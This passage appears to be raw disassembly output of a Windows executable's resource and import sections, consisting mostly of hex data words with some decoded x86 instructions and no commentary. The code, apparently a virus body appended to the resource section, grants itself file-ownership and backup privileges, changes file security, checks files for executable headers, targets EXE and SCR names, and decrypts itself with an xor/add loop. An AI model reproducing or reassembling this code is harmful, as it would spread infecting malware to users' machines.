		dd 10h,	20750800h, 39C085F7h, 10h, 0A750600h, 0FFF9AFE8h
		dd 0FA1CE8FFh, 0D1E8FFFFh, 0E8FFFFF9h, 0FFFFFA12h, 39C085F7h
		dd 10h,	8741000h, 0E8AAC9B0h, 0FFFFF9FEh, 39C085F7h, 10h
		dd 2A740040h, 852A07B0h, 1039B8h, 0D1AE0C1h, 240889h, 39B8A502h
		dd 0E4C00010h, 4C48003h, 0F9D0E8ABh, 61B0FFFFh,	0F9C8E8AAh
		dd 0B866FFFFh, 0A50AE0FFh, 1039B8h, 0B7E8AB66h,	0F7FFFFF9h
		dd 1039C085h, 2000h, 0F76F7400h, 1039C085h, 0
		dd 8B1F7480h, 0F08D8BC7h
		db 42h
byte_443EA1	db 10h,	0, 2Bh		; DATA XREF: .aspack:004274EBw
		dd 0FC4189C1h, 0FFF9FFE8h, 0F988E8FFh, 0C3B0FFFFh, 0F980E8AAh
		dd 0C78BFFFFh, 42C48D8Bh, 0C12B0010h, 0B0FC4189h, 0B8850A58h
		dd 0AA001039h, 0FFF965E8h, 0C085F7FFh, 1039h, 74008000h
		dd 50B8660Ch, 0B8850AC3h, 0EB001039h, 0FFB8660Ah, 0B8A50AE0h
		dd 66001039h, 0F93CE8ABh, 85F7FFFFh, 1039C0h, 2000003h
		dd 0CF8B5F74h, 42DC858Bh, 0C82B0010h, 33FC4889h, 0C085F7C9h
		dd 1039h, 75010000h, 0B8858D0Eh, 8A001039h, 0F9804008h
		dd 8DF87303h, 2444CD04h, 0E0C10010h, 0AB8BB008h, 0B86606E3h
		dd 0AB66C031h, 808FB866h, 0B868h, 66E10200h, 85AB58ABh
		dd 660675C9h, 66C031B8h, 0AAC3B0ABh, 0FFF8D1E8h, 0CC858DFFh
		dd 0F7001039h, 1039C085h, 0
; ---------------------------------------------------------------------------
		and	[ebp+6], dh
		push	edi
		sub	edi, eax
		pop	eax
		jmp	short loc_443F9A
; ---------------------------------------------------------------------------
		mov	edx, [ebx+28h]
		sub	edi, eax
		sub	edx, eax
		mov	ecx, [ebp+1042E4h]


loc_443F8E:				; DATA XREF: sub_427BC0+EFr
		add	[ebp+1042C4h], edx
		add	[ecx], edi
		mov	eax, [esp+4]


loc_443F9A:				; CODE XREF: .rsrc:00443F7Fj
		mov	[ebp+101069h], edi
		mov	edi, [ebp+1042C8h]


loc_443FA6:				; DATA XREF: sub_427BC0+85r
		sub	eax, [ebp+1042C4h]
		test	dword ptr [ebp+1039C0h], 40h
		jz	short loc_443FBA
		neg	eax


loc_443FBA:				; CODE XREF: .rsrc:00443FB6j
		stosd
		retn	4
; ---------------------------------------------------------------------------
		dw 5756h
		dd 4300BD83h
		db 10h,	2 dup(0)
byte_443FC7	db 0Fh,	84h, 0D9h, 1, 2	dup(0),	0E8h, 0Dh, 3 dup(0), 4Bh
					; DATA XREF: sub_42793D+17r
					; sub_427BC0+118r
		db 45h,	52h, 4Eh, 45h, 4Ch, 33h, 32h, 2Eh, 44h,	2 dup(4Ch)
		db 0, 0FFh, 95h, 0AEh, 3Eh, 10h, 0, 89h, 85h, 14h, 43h
		db 10h,	0, 53h,	8Bh, 58h, 3Ch, 3, 0D8h,	0FFh, 73h, 28h
		db 8Bh,	43h, 34h, 0E8h,	0E5h, 0F4h, 2 dup(0FFh), 8Bh, 95h
		db 0F4h, 42h, 10h, 0, 5Bh, 3, 42h, 0Ch,	89h, 85h, 18h
		db 43h,	10h, 0,	3, 42h,	8, 89h,	85h, 1Ch, 43h, 10h, 0
		db 8Bh,	73h, 28h, 0FFh,	0B3h, 80h, 3 dup(0), 0E8h, 0BEh
		db 0F4h, 2 dup(0FFh), 8Bh, 0BDh, 0F4h, 42h, 10h, 0, 56h
		db 0E8h, 0B2h, 0F4h, 2 dup(0FFh), 8Bh, 95h, 0F4h, 42h
		db 10h,	0, 8Bh,	4Ah, 8,	3, 4Ah,	0Ch, 2Bh, 0CEh,	83h, 0E9h
		db 5, 0Fh, 88h,	60h, 1,	2 dup(0), 0Fh, 84h, 5Ah, 1, 2 dup(0)
		db 3, 0B5h, 0F8h, 42h, 10h, 0, 3, 0B5h,	0B4h, 42h, 10h
		db 0, 0ACh, 3Ch, 0E8h, 0Fh, 85h, 0A2h, 3 dup(0), 8Dh, 46h
		db 4, 2Bh, 85h,	0B4h, 42h, 10h,	0, 3, 6, 50h, 0E8h, 6Fh
		db 0F4h, 2 dup(0FFh), 83h, 0BDh, 0F4h, 42h, 10h, 2 dup(0)
		db 75h,	0Bh, 3Bh, 47h, 0Ch, 0Fh, 83h, 1Bh, 1, 2	dup(0)
		db 0EBh, 0Ch, 39h, 95h,	0F4h, 42h, 10h,	0, 0Fh,	85h, 0Dh
		db 1, 2	dup(0),	3, 85h,	0B4h, 42h, 10h,	0, 66h,	81h, 38h
		db 0FFh, 25h, 0Fh, 85h,	0FCh, 3	dup(0),	8Bh, 40h, 2, 2Bh
		db 43h,	34h, 50h, 0E8h,	32h, 0F4h, 2 dup(0FFh),	39h, 0BDh
		db 0F4h, 42h, 10h, 0, 0Fh, 85h,	0E4h, 3	dup(0),	3, 85h
		db 0F8h, 42h, 10h, 0, 3, 85h, 0B4h, 42h, 10h, 0, 8Bh, 0
		db 2Bh,	47h, 0Ch, 0Fh, 82h, 0CDh, 3 dup(0), 3Bh, 47h, 8
		db 0Fh,	83h, 0C4h, 3 dup(0), 83h, 0C0h,	2, 3, 47h, 14h
		db 3, 85h, 0B4h, 42h, 10h, 0, 52h, 50h,	0FFh, 0B5h, 14h
		db 43h,	10h, 0,	0FFh, 95h, 6Eh,	3Eh, 10h, 0, 5Ah, 85h
		db 0C0h, 0Fh, 85h, 0B7h, 3 dup(0), 0E9h, 9Ch, 3	dup(0)
		db 3Ch,	0FFh, 0Fh, 85h,	94h, 3 dup(0), 80h, 3Eh, 15h, 0Fh
		db 85h,	8Bh, 3 dup(0), 8Bh, 46h, 1, 2Bh, 43h, 34h, 50h
		db 0E8h, 0C1h, 0F3h, 2 dup(0FFh), 39h, 0BDh, 0F4h, 42h
		db 10h,	0, 75h,	77h, 3,	85h, 0F8h, 42h,	10h, 0,	3, 85h
		db 0B4h, 42h, 10h, 0, 89h, 85h,	20h, 43h, 10h, 0, 8Bh
		db 0, 3Bh, 85h,	18h, 43h, 10h, 0, 72h, 8, 3Bh, 85h, 1Ch
		db 43h,	10h, 0,	72h, 69h, 3Dh, 3 dup(0), 70h, 72h, 37h
		db 0E8h, 1Fh, 3	dup(0),	8Dh, 4Eh, 0FCh,	8Bh, 0C1h, 2Bh
		db 2, 3, 42h, 10h, 3Bh,	85h, 20h, 43h, 10h, 0, 75h, 0Ch
		db 83h,	0C4h, 10h, 0FFh, 31h, 8Fh, 44h,	24h, 1Ch, 61h
		db 0EBh, 1Bh, 0C3h, 8Fh, 85h, 0D4h, 42h, 10h, 0, 60h, 8Bh
		db 0B5h, 0B4h, 42h, 10h, 0, 0E8h, 5Fh, 0F4h, 2 dup(0FFh)
		db 61h,	0A9h, 3	dup(0),	80h, 75h, 0Eh, 2Bh, 47h, 0Ch, 72h
		db 9, 3Bh, 47h,	8, 0Fh,	82h, 3Ch, 3 dup(0FFh), 49h, 0Fh
		db 85h,	0B2h, 0FEh, 2 dup(0FFh), 8Bh, 3Ch, 24h,	81h, 0A7h
		db 0C0h, 29h, 2	dup(0),	2 dup(0FFh), 0BFh, 0FFh, 0EBh
		db 42h,	81h, 4Ah, 24h, 60h, 2 dup(0), 0E0h, 4Eh, 33h, 0C0h
		db 8Bh,	0Ch, 24h, 87h, 85h, 0, 43h, 10h, 0, 89h, 85h, 0FCh
		db 42h,	10h, 0,	8Dh, 0B9h, 0C4h, 29h, 2	dup(0),	3, 85h
		db 0B4h, 42h, 10h, 0, 66h, 2 dup(0A5h),	4Eh, 2Bh, 0C6h
		db 3, 42h, 14h,	2Bh, 42h, 0Ch, 0C6h, 46h, 0FBh,	0E8h, 0C7h
		db 81h,	54h, 3 dup(0), 5, 3 dup(0), 89h, 46h, 0FCh, 5Fh
		db 5Eh,	0C3h, 57h, 0FFh, 95h
		db 0BAh, 3Eh, 10h, 0, 0C1h, 0E8h, 1Fh, 0Fh, 85h, 1Ah, 1
		db 2 dup(0), 50h, 54h, 6Ah, 28h, 6Ah, 2	dup(0FFh), 95h
		db 1Ah,	3Fh, 10h, 0, 85h, 0C0h,	5Fh, 0Fh, 88h, 5, 1, 2 dup(0)
		db 0E8h, 58h, 0E4h, 2 dup(0FFh), 0E8h, 11h, 3 dup(0), 53h
		db 65h,	74h, 46h, 69h, 6Ch, 65h, 53h, 65h, 63h,	75h, 72h
		db 69h,	74h, 79h, 41h, 0, 0FFh,	0B5h, 88h, 42h,	10h, 0
		db 0FFh, 95h, 6Eh, 3Eh,	10h, 0,	89h, 85h, 90h, 42h, 10h
		db 0, 0E8h, 19h, 3 dup(0)
aSetakeownershi	db 'SeTakeOwnershipPrivilege',0
		dw 0E857h
		dd 0FFFFE829h, 13E8h, 52655300h, 6F747365h, 72506572h
		dd 6C697669h, 656765h, 0E80BE857h, 12E8FFFFh, 53000000h
		dd 63614265h, 5070756Bh, 69766972h, 6567656Ch, 0EEE85700h
		dd 0E8FFFFE7h, 18h, 68436553h, 65676E61h, 69746F4Eh, 72507966h
		dd 6C697669h, 656765h, 0E7CBE857h, 5450FFFFh, 3DCC858Dh
		dd 646A0010h, 57016A50h, 3F2695FFh, 3C890010h, 6295FF24h
		dd 2A00103Eh, 84BD8DC0h, 50001041h, 0B5FF5050h,	103DCCh
		dd 4000168h, 16A5400h, 9095FF57h, 54001042h, 0FF57046Ah
		dd 10429095h, 14C48300h, 4288B5FFh, 95FF0010h, 103E9Eh
		dd 0B58DC35Fh, 104184h,	0A295FF56h, 8300103Eh, 840FFFF8h
		dd 0BBh, 42948589h, 6A0010h, 0DE95FF56h, 8500103Eh, 0A4840FC0h
		dd 2B000000h, 6A5050C0h, 16A5003h, 68h,	95FF56C0h, 103E7Eh
		dd 0FFFF883h, 60784h, 98858900h, 8D001042h, 10429C8Dh
		dd 0A4958D00h, 51001042h, 50006A52h, 3EAA95FFh,	0F8830010h
		dd 0D5840FFFh, 6A000005h, 98B5FF00h, 0FF001042h, 103EA695h
		dd 0FFF88300h, 5BE840Fh, 85890000h, 1042ACh, 0C303C933h
		dd 6A515051h, 0B5FF5104h, 104298h, 3E8295FFh, 0C0850010h
		dd 59A840Fh, 0C9330000h, 42B08589h, 51510010h, 1F6851h
		dd 0FF50000Fh, 103ECA95h, 0FC08500h, 55384h, 0B4858900h
		dd 0C3001042h, 7327B8h,	384B8B00h, 39C085F7h, 10h, 6752000h
		dd 10698503h, 0D2330010h, 0F1F7C103h, 8589E1F7h, 1042C0h
		dd 29CBB8h, 3C4B8B00h, 10698503h, 0D2330010h, 0F1F7C103h
		dd 8589E1F7h, 1042B8h, 4BB70FC3h, 35E3F906h, 0F18538Dh
		dd 31443B7h, 0C16B49D0h, 81D00328h, 69775F3Ah, 1D74F96Eh
		dd 10C7A83h, 4B8BE072h,	14428B3Ch, 8D104203h, 0F7FF4844h
		dd 3BC123D9h, 1042AC85h, 548BC300h, 0C0331024h,	0B8828Fh
		dd 8BC30000h, 8D0BEBCFh, 104184BDh, 0DF8BFC00h,	3CACC933h
		dd 3C067261h, 2C02777Ah, 5C3CAA20h, 2E3CEC74h, 3CDD74h
		dd 0C9E3E875h, 453D018Bh, 74004558h, 43533D0Bh,	850F0052h
		dd 0FFFFFF33h, 573D038Bh, 0F434E49h, 0FFFF2684h, 43573DFFh
		dd 840F4E55h, 0FFFFFF1Bh, 3343573Dh, 10840F32h,	3DFFFFFFh
		dd 4F545350h, 0FF05840Fh, 0DB33FFFFh, 0FFFE2DE8h, 0E81075FFh
		dd 0FFFFFCFAh, 0FFFE21E8h, 0EC840FFFh, 33FFFFFEh, 16E8D2h
		dd 63E80000h, 0E8FFFFFFh, 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 10344Fh
		jmp	loc_444922
; ---------------------------------------------------------------------------
		dd 8B32FF64h, 1042B4B5h, 22896400h, 4D3E8166h, 0E3850F5Ah
		dd 8B000003h, 0DE033C5Eh, 503B8166h, 0D3850F45h, 0F7000003h
		dd 20001643h, 850F0000h
		db 0C6h, 3, 0
byte_44455B	db 0			; DATA XREF: sub_427BB8+1o
		dd 25C43F6h, 3BC840Fh, 438B0000h, 0A0A03D08h, 840FA0A0h
		dd 3AEh, 2020203Dh, 0A3840F20h,	8B000003h, 0C88Bh, 5116E300h
		dd 0FFEF54E8h, 0F88D03FFh, 3001042h, 406183CEh,	44618300h
		dd 0FE9BE800h, 820FFFFFh, 37Ah,	42FCA583h, 8B000010h, 4A8B0842h
		dd 73C12B10h, 0EBC03304h, 89C80305h, 8589104Ah,	1042BCh
		dd 0B80C4A03h, 10000h, 0E68AE851h, 9530FFFFh, 1039BEh
		dd 0B53020B1h, 1039BFh,	0C9FE206Ah, 0E8147858h,	0FFFFE670h
		dd 940FD285h, 31E2D3C2h, 1039C095h, 0F7E5EB00h,	1039C085h
		dd 0
		dd 0F7227402h, 1039C085h, 300h,	810C7500h, 1039C0A5h, 0FFFFFF00h
		dd 810AEBF7h, 1039C08Dh, 0
		dd 66810h, 68590000h, 6, 0E622E858h, 858AFFFFh,	1039B8h
		dd 0B82A8486h, 88001039h, 1039B885h, 0F7E0E200h, 1039C085h
		dd 800h, 80097500h, 1039BABDh, 0C5740100h, 39C085F7h, 10h
		dd 1B741000h, 39B8BD80h, 74050010h, 0B9BD80B0h,	5001039h
		dd 0BD80A774h, 1039BAh,	0F79E7405h, 1039C085h, 40000000h
		dd 80097400h, 1039B8BDh, 89770200h, 4300A583h, 0E8000010h
		dd 0FFFFF272h, 0FFFD43E8h, 271E8FFh, 9D8B0000h,	1042B8h
		dd 42BC9D03h, 5BE80010h, 0FFFFFFCh, 25184h, 0B4B58B00h
		dd 8B001042h, 0DE033C5Eh, 0FFFD5CE8h, 3B820FFFh, 81000002h
		dd 60244Ah, 0FE8BE000h,	7A035652h, 107A0314h, 39C085F7h
		dd 10h,	14752000h, 4304BD89h, 0B58D0010h, 1039CCh, 10698D8Bh
		dd 0A4F30010h, 0A73B957h, 0B58D0000h, 101000h, 0B1A5F3h
		dd 0A4F302E3h, 39C085F7h, 10h, 840F2000h, 0AEh,	0E82873FFh
		dd 0FFFFED9Dh, 42F4958Bh, 0D2850010h, 98840Fh, 0B58B0000h
		dd 1042B4h, 81104A8Bh, 60244Ah,	4A2BE000h, 33027308h, 147203C9h
		dd 10698D3Bh, 8D8B0010h, 101069h, 3C8B5672h, 69A58324h
		dd 1010h, 69A783h, 8B000000h, 4A01087Ah, 87F70308h, 0C8858BF7h
		dd 0F7001042h, 1039C085h, 4000h, 0F7027400h, 0C720318h
		dd 0B5893029h, 104300h,	128738Bh, 0C085F730h, 40001039h
		dd 74000000h, 5118F702h, 0FFFC2BE8h, 0CEB59FFh,	2B287303h
		dd 56510C72h, 595FA4F3h, 39CCB58Dh, 0BD890010h,	104304h
		dd 5E5FA4F3h, 8D92310Fh, 13787h, 0BE953A00h, 75001039h
		dd 78D26906h, 66123456h
dword_444804	dd 0E8E75089h						; .aspack:00427069w ...
dword_444808	dd 0FFFFD9E1h						; .aspack:00427502r ...
dword_44480C	dd 0C4A8B5Ah						; .rsrc:0042CA40r
		dd 0F7104A03h, 1039C085h
		db 0
byte_444819	db 3 dup(0)		; DATA XREF: .aspack:0042708Ar
					; .rsrc:0042CA55r
		dd 5418D20h, 8D891375h
		db 0, 43h
word_444826	dw 10h			; DATA XREF: .aspack:0042709Er
					; .rsrc:0042CA69r
		dd 10698503h, 0A7830010h, 69h, 28432B00h, 548789h, 85F70000h
		db 7Ch
byte_444841	db 3Fh,	10h, 0		; DATA XREF: .aspack:00427508r
		dd 1, 43C70774h
		db 8
dword_44484D	dd 0A0A0A0A0h						; .aspack:00427543r
dword_444851	dd 39C085F7h			db 10h,	2 dup(0)
		dd 74004000h
dword_44485C	dd 5BE85207h	; ---------------------------------------------------------------------------
		idiv	edi
		call	fword ptr [edx-75h]
		lea	eax, [eax]
		inc	ebx


loc_444868:				; DATA XREF: .aspack:00427549r
		adc	[eax], al
		jecxz	short loc_444871
		mov	[ebx+28h], ecx
		jmp	short loc_44487E
; ---------------------------------------------------------------------------


loc_444871:				; CODE XREF: .rsrc:0044486Aj
					; DATA XREF: .aspack:0042755Fr
		mov	ecx, [ebp+1042FCh]
		jecxz	short loc_44487B
		jmp	short loc_44487E
; ---------------------------------------------------------------------------


loc_44487B:				; CODE XREF: .rsrc:00444877j
		mov	ecx, [ebx+28h]


loc_44487E:				; CODE XREF: .rsrc:0044486Fj
					; .rsrc:00444879j
		test	dword ptr [ebp+1039C0h], 3
		jz	short loc_44489E
		mov	eax, [ebp+104304h]
		add	ecx, [ebp+1042ECh]
		add	eax, [ebp+1042E8h]
		add	[eax], ecx


loc_44489E:				; CODE XREF: .rsrc:00444888j
		mov	ecx, [edx+10h]
		mov	eax, [ebp+1042B8h]
		cmp	[edx+8], ecx
		jnb	short loc_4448AF
		mov	[edx+8], ecx


loc_4448AF:				; CODE XREF: .rsrc:004448AAj
		add	[edx+10h], eax
		and	dword ptr [ebx+58h], 0
		mov	eax, [ebp+1042C0h]
		push	29CCh
		add	[edx+8], eax
		pop	ecx
		add	[ebx+50h], eax
		mov	dl, [ebp+1039BEh]
		test	dword ptr [ebp+1039C0h], 20000000h
		jz	short loc_4448E0
		add	ecx, [ebp+101069h]


loc_4448E0:				; CODE XREF: .rsrc:004448D8j
		mov	dh, 0
		test	dword ptr [ebp+1039C0h], 20000h
		jnz	short loc_444902
		inc	dh
		test	dword ptr [ebp+1039C0h], 40000h
		jnz	short loc_444902
		mov	dh, [ebp+1039BFh]


loc_444902:				; CODE XREF: .rsrc:004448ECj
					; .rsrc:004448FAj
		test	dword ptr [ebp+1039C0h], 4000h
		jnz	short loc_444919


loc_44490E:				; CODE XREF: .rsrc:00444915j
		mov	al, [edi]
		add	al, dl
		stosb


loc_444913:				; DATA XREF: .aspack:00427092r
					; .aspack:004270A6r ...
		add	dl, dh
		loop	loc_44490E


loc_444917:				; DATA XREF: .aspack:0042707Cr
					; .rsrc:0042CA47r
		jmp	short loc_444922
; ---------------------------------------------------------------------------


loc_444919:				; CODE XREF: .rsrc:0044490Cj
					; .rsrc:00444920j
		mov	al, [edi]


loc_44491B:				; DATA XREF: .aspack:00427523r
		xor	al, dl
		stosb
		add	dl, dh
		loop	loc_444919


loc_444922:				; CODE XREF: .rsrc:00444523j
					; .rsrc:loc_444917j
		xor	edx, edx
		mov	esp, fs:[edx]
		pop	dword ptr fs:[edx]
		pop	eax
		cmp	dword ptr [ebp+104298h], 0
		jz	near ptr dword_44426C+18Bh
		push	dword ptr [ebp+1042B4h]
		call	dword ptr [ebp+103EEEh]
		push	dword ptr [ebp+1042B0h]
		call	dword ptr [ebp+103E62h]
		lea	ecx, [ebp+10429Ch]
		lea	edx, [ebp+1042A4h]
		push	ecx
		push	edx
		push	0
		push	dword ptr [ebp+104298h]
		call	dword ptr [ebp+103EE2h]
		push	dword ptr [ebp+104298h]
		call	dword ptr [ebp+103E62h]
		lea	esi, [ebp+104184h]
		push	dword ptr [ebp+104294h]
		push	esi
		call	dword ptr [ebp+103EDEh]
		and	dword ptr [ebp+104298h], 0
		retn
; ---------------------------------------------------------------------------
		db 0E8h
		align 8
		dd 81016A5Dh, 1038CBEDh, 0FF05800h, 158885C1h, 0C0850010h
		dd 0FFC883C3h, 85C10FF0h, 101588h, 103DC3h, 1C75002Ah
		dd 247C8166h, 75716C0Ch, 0C4E86013h, 75FFFFFFh,	0FAB5E805h
		dd 0D2E8FFFFh, 61FFFFFFh, 782DFF2Eh, 0B8123456h, 25h, 0FFA5E860h
		dd 3975FFFFh, 3024448Bh, 4184B58Dh, 508B0010h, 3A816608h
		dd 25730206h, 6856h, 0C48B00FFh, 5052006Ah, 3F2E95FFh
		dd 0C4830010h, 5C3E8108h, 755C3F3Fh, 4C68303h, 0FFFA62E8h
		dd 0FF7FE8FFh, 0C361FFFFh, 74B8h, 0B8B1EB00h, 2Fh, 1DE8h
		dd 20C200h, 30B8h, 10E800h, 24C20000h, 185B800h, 3E80000h
		dd 0C2000000h, 548D002Ch, 2ECD0C24h, 7C00F883h,	0E86019h
		dd 8B000000h, 5D302454h, 0ED811A8Bh, 1039A2h, 0FFE0B3E8h
		dd 4C261FFh, 2060300h, 31010507h, 0B447AA46h, 9815FFD6h
		dd 8B010011h, 0FFh, 118h dup(0)
		dd 42005C00h, 73006100h, 4E006500h, 6D006100h, 64006500h
		dd 62004F00h, 65006A00h, 74006300h, 5C007300h, 74005600h
		dd 65005300h, 74006300h, 47000000h, 0AD7C809Bh,	317C8308h
		dd 0A07C9103h, 7C80ADh,	0
		dd 0B6000000h, 247C80BDh, 5C7C801Ah, 677C8094h,	2C7C8023h
		dd 377C8104h, 0F7C8106h, 587C864Bh, 0EC7C80C0h,	0DE7C80E7h
		dd 3C7C80ABh, 777C8115h, 457C810Ah, 0A17C831Ch,	0FF7C80B6h
		dd 0CA7C8608h, 0DA7C835Dh, 0DE7C8111h, 0A57C812Ah, 777C821Bh
		dd 57C801Dh, 767C80B9h,	0E17C80BBh, 0E57C8309h,	587C863Dh
		dd 827C863Fh, 0B87C8127h, 427C831Ch, 1C7C8024h,	747C810Bh
		dd 517C80B9h, 877C809Ah, 607C810Dh, 827C90D4h, 547C90D6h
		dd 697C90D7h, 937C90D7h, 7C90D7h, 55000000h, 0FD7C90DCh
		dd 907C90DCh, 0BA7C90DDh, 0B67C90DDh, 457C90DEh, 327C90E0h
		dd 0C67C90EAh, 7C9130h,	15h dup(0)
		dd 320030h, 44505Ch, 42005Ch, 730061h, 4E0065h,	6D0061h
		dd 640065h, 62004Fh, 65006Ah, 740063h, 5C0073h,	740056h
		dd 650053h, 740063h, 0D2h dup(0)
		dd 4420CD00h, 130Ah dup(0)
_rsrc		ends

; Section 7. (virtual address 0004A000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 0004A000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 44A000h
		dd 80h dup(0)
		align 1000h
_idata2		ends


		end start